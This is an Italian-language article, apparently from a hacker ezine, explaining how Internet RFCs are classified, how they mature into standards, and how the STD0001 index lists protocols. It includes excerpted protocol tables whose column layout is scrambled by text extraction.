Bene, ecco i miei two cents d'aiuto.
Incominciamo:
gli standard della rete vengono pubblicati dalla IAB (Internet
Architecture Board) sotto forma di RFC (Request For Comment).
Volete sapere come funziona il TCP/IP? L'udp? L'icmp? L'smtp?
C'e' scritto *tutto* nelle RFC. Consideratele una bibbia, una
raccolta di tutte le informazioni che vi possono servire.
Pagina 113
netrun9.txt
Problemi: non tutti gli standard della rete diventano RFC standard,
anche se vengono pubblicati in qualche RFC, inoltre, alcune RFC
standard diventano obsolete e vengono rimpiazzate da altre RFC.
Piccola nota: alcuni numeri di RFC mancano perche' ci sono proposte
di RFC mai pubblicate.
Parentesi dedicata al buon umore: alcune RFC non descrivono in alcun
modo uno standard... per esempio la RFC 968 che da una visione ironica
dei problemi che deve affrontare un amministatore di rete, oppure la
RFC 527 che parla del linguaggio tutto particolare degli amministratori
alle prese con discussioni sulla tecnologia, oppure la RFC 1118,
intitolata "The Hitchhiker's Guide to the Internet" (Guida ad Internet
per autostoppisti), un documento di aiuto ai nuovi utenti della rete,
per chi comincia, insomma.
Come nasce una RFC: chiunque puo' scrivere una RFC; questa viene
valutata e classificata. La classificazione serve a stabilire se
la RFC puo' essere considerata uno standard oppure no.
Ecco le CLASSIFICAZIONI standard delle RFC:
***********************
REQUIRED: obbligatorie. Tutti gli host devono implementarle
RECCOMENDED: non sono obbligatorie ma sono, praticamente, implementate
da tutti gli host della rete
ELECTIVE: standard non obbligatorio; se lo si implementa, la sua
configurazione e' completamente definita in una RFC elettiva
LIMITED USE: RFC per uso limitato; non e' destinata ad un impiego
generale
NOT RECCOMENDED: non si consiglia di implementarle
***********************
Ora vediamo qual e' il processo di evoluzione di una RFC prima
che questa venga accettata come standard di Internet (sempre se
lo diventera'... non e' detto).
Ecco una lista di stati per una RFC, da quello meno importante a
quello piu' importante (standard). Vediamo, cioe', tutti i passi:
***********************
EXPERIMENTAL protocol: protocollo non consigliato per l'implementazione
a meno che non si stia partecipando alla sperimentazione
PROPOSED standard: e' passata attraverso un intenso processo di
revisione. Si auspica l'implementazione e la sperimentazione da parte
di parecchi gruppi ma bisogna aspettarsi la pubblicazione di alcune
modifiche prima che diventi un Internet Standard
DRAFT standard: specificazione che e' stata capita da tutti ed e'
permanente. Serve come base per sviluppare l'implementazione finale
INTERNET standard: la RFC ha raggiunto un'alto grado di maturita'
tecnica. E' stato stabilito (dallo IESG: Internet Engineering Steering
Group) che questa RFC e' un protocollo standard ufficiale e le e' stato
assegnato un numero STD.
Gli STD sono le RFC standard, quindi, a volte, e' piu' semplice trovare
lo Standard Internet per un protocollo esaminando i documenti STD al
posto delle RFC. Una RFC stantard, quindi, ha due numeri: il numero
di RFC e il numero di STD.
-------------HISTORIC PROTOCOL: una RFC quando e' in uno qualsiasi dei quattro
stadi di maturazione visti, puo' diventare, immediatamente, un
historic protocol, cioe' un protocollo che difficilmente diventera'
standard: e' stato eliminato e sostituito con un nuovo protocollo
oppure e' stato abbandonato perche' non interessante
Pagina 114
netrun9.txt
INFORMATIONAL PROTOCOL: si tratta di protocolli sviluppati da
rivenditori o da altre organizzazioni autorevoli al di fuori dello
IESG. Sono pubblicati per fornire informazioni sulle loro
specificazioni
***********************
Il processo di maturazione di una RFC segue queste regole:
1) un protocollo viene proposto come standard allo IESG. Solo lo IESG
puo' raccomandare che un protocollo intraprenda il percorso per
diventare uno standard. Analogamente, solo in base alle raccomandazioni
dello IESG un protocollo puo' spostarsi da uno stato all'altro
2) la transizione da standard proposto (proposed standard) a bozza
standard (draft standard) puo' avvenire solo dopo che il protocollo
e' rimasto per almeno sei mesi nello stato di standard proposto
3) la transizione da bozza standard a standard internet puo' avvenire
solo dopo che il protocollo e' rimasto nello stadio di bozza (draft
standard) per almeno quattro mesi
4) a volte si puo' stabilire che un protocollo non e' ancora pronto
per la standardizzazione. Lo si assegna, quindi, ad uno stadio
sperimentale e, per reinserirlo nel percorso per diventare standard,
lo IESG deve presentarlo nuovamente dopo averlo rielaborato
5) a volte un protocollo viene sostituito da un'altro protocollo.
In questo caso passa allo stadio storico (historic protocol) e questo
puo' avvenire in qualunque momento del processo
Numerazione delle RFC: un documento pubblicato riceve un numero
di RFC. Se questa RFC necessita di aggiornamenti, si pubblica una
nuova RFC con un nuovo numero identificativo. La precedente versione
di RFC diventa OBSOLETA.
Forse per la poca voglia di lavorare, o forse per qualche motivo che
mi sfugge, le RFC obsolete non sono segnalate (o cancellate).
Eccoci giunti alla domanda iniziale: come faccio a sapere che RFC
descrivono un protocollo? Una prima risposta l'abbiamo gia' avuta:
cercare nei documenti STD.
Ma c'e' un'altra risposta, molto piu' esauriente e comoda:
lo Standard One. Questo documento (chiamato STD0001) viene pubblicato
periodicamente e contiene una lista aggiornata di tutti i protocolli
standard di Internet.
Lo STD0001 contiene, anche, gli elenchi delle RFC che hanno conseguito
i livelli di maturazione draft, proposed standard, experimental
protocol, informational protocol e historical protocol.
In pratica, abbiamo tutto cio' che ci serve.
Ogni STD0001 e' una RFC, che ha un suo numero. Essendo uno STD
allora ha due numeri: il numero di RFC e il numero di standard,
che e' 1.
Per esempio, la Standard One che sto guardando adesso (di Giugno
del 1999), e' la RFC 2500 STD 1.
Nell'intestazione c'e' una lista delle RFC diventate obsolete
(cioe' modificate e, quindi, che hanno ricevuto un nuovo numero).
Poi abbiamo le seguenti liste:
***********************
1) STANDARD PROTOCOLS (protocolli standard)
vediamo qualche voce:
Protocol
========
-------IP
---------------------ICMP
Name
=====================================
Internet Official Protocol Standards
Internet Protocol
as amended by:-------IP Subnet Extension
IP Broadcast Datagrams
IP Broadcast Datagrams with Subnets
Internet Control Message Protocol
Pagina 115
RFC STD *
==== ===
2500
1
791
5
950
919
922
792
5
5
5
5
IGMP
UDP
TCP
TELNET
FTP
SMTP
netrun9.txt
Internet Group Multicast Protocol
User Datagram Protocol
Transmission Control Protocol
Telnet Protocol
File Transfer Protocol
Simple Mail Transfer Protocol
1112
768
793
854,855
959
821
5
6
7
8
9
10
eccetera
2) Network-Specific Standard Protocols (protocolli standard specifici
di reti)
protocolli implementati soltanto su reti specifiche. Non tutte le
installazione TCP/IP sono tenute ad implementarli.
Eccone alcuni:
Protocol
========
IP-ATM
ATM-ENCAP
IP-TR-MC
IP-FDDI
IP-X.25
ARP
Name
=====================================
Classical IP and ARP over ATM
Multiprotocol Encapsulation over ATM
IP Multicast over Token-Ring LANs
Transmission of IP and ARP over FDDI Net
X.25 and ISDN in the Packet Mode
Address Resolution Protocol
RFC
=====
2225
1483
1469
1390
1356
826
STD *
=== =
36
37
3) Draft Standard Protocols (protocolli standard in stato di bozza)
eccone alcuni:
Protocol
========
VACM-SNMP
USM-SNMPV3
SNMP-APP
MPD-SNMP
ARCH-SNMP
ICMPv6
IPV6-AUTO
Name
=====================================
View-based Access Control Model for SMMP
User-based Security Model for SNMPv3
SNMP Applications
Message Processing & Dispatching SNMP
Architecture Describing SNMP Management Frameworks
ICMPv6 for IPv6
IPv6 Stateless Address Autoconfiguation
RFC
=====
2575*
2574*
2573*
2572*
2571*
2463*
2462*
4) Proposed Standard Protocols (standard proposti)
il solito piccolo estratto (cosi', solo per farvi credere a quello che
dico hehehe)
Protocol
========
POP3-EXT
IMIP
ITIP
ICALENDAR
OTP-SASL
------------------------------------------MIME-VCARD
Name
=====================================
POP3 Extension Mechanism
iCalendar Message-Based Interoperability
iCalendar Message-Based Interoperability
Internet Calendaring, Scheduling Core..
OTP SASL Mechanism
OpenPGP Message Format
BGP Route Flap Damping
RTP Payload Format for JPEG-compressed Video
RTP Payload Format for BT.656 Video Encoding
RTP Payload Format for H.263+
FTP Extensions for IPv6 and NATs
vCard MIME Directory Profile
RFC
=====
2449*
2447*
2446*
2445*
2444*
2440*
2439*
2435*
2431*
2429*
2428
2426
5) Experimental Protocols (protocolli sperimentali)
Protocol
========
------------IPP-RAT
IPP-DG
Name
=====================================
NewReno Modification to TCP's Fast Recovery Algorithm
Mapping between LPD and IPP Protocols
Rationale for the Structure of IPP
Design Goals for an Internet Printing Protocol
Pagina 116
RFC
=====
2582*
2569*
2568*
2567*
IPP-M-S
IPP-E-T
DNS-INFO
netrun9.txt
Internet Printing Protocol/1.0: Model and Semantics
Internet Printing Protocol/1.0: Encoding and Transport
Detached Domain Name System (DNS) Information
2566*
2565*
2540*
6) Informational Protocols
Protocol
=======
AUDIO/L16
FTP-SEC
-------DNS-SOC
Name
====================================
Audio/L16 MIME content type
FTP Security Considerations
6Bone Routing Practice
DNS Security Operational Considerations
RFC
=====
2586*
2577*
2546*
2541*
7) Historic Protocols
Protocol
Name
========
=====================================
CONTENT
Content Type Header Field
IPV6-UNI
IPv6 Provider-Based Unicast Address
IPV6-Addr IPv6 Addressing Architecture
L2F
Cisco Layer Two Forwarding Protocol
IPSO
DoD Security Options for IP
SNMPv2
Manager-to-Manager MIB
***********************
RFC STD
===== ===
1049 11 *
2073
1884
2341
1108
1451
Bene, ora resta un'altro piccolo dettaglio:
dove trovare questo Standard One?
Ovunque ci siano le RFC. Dove ci sono le RFC li ci sono, anche, gli STD.
Cercate lo STD0001 e siete a posto.
Qualche sito? Mah... ce ne sono miriadi: basta usare un motore di ricerca
e scrivere RFC. Comunque, ecco un link:
http://www.faqs.org/rfcs/
Bene, questo e' tutto: spero di avervi fatto conoscere qualcosa di nuovo e
utile.
Buttha
Pagina 117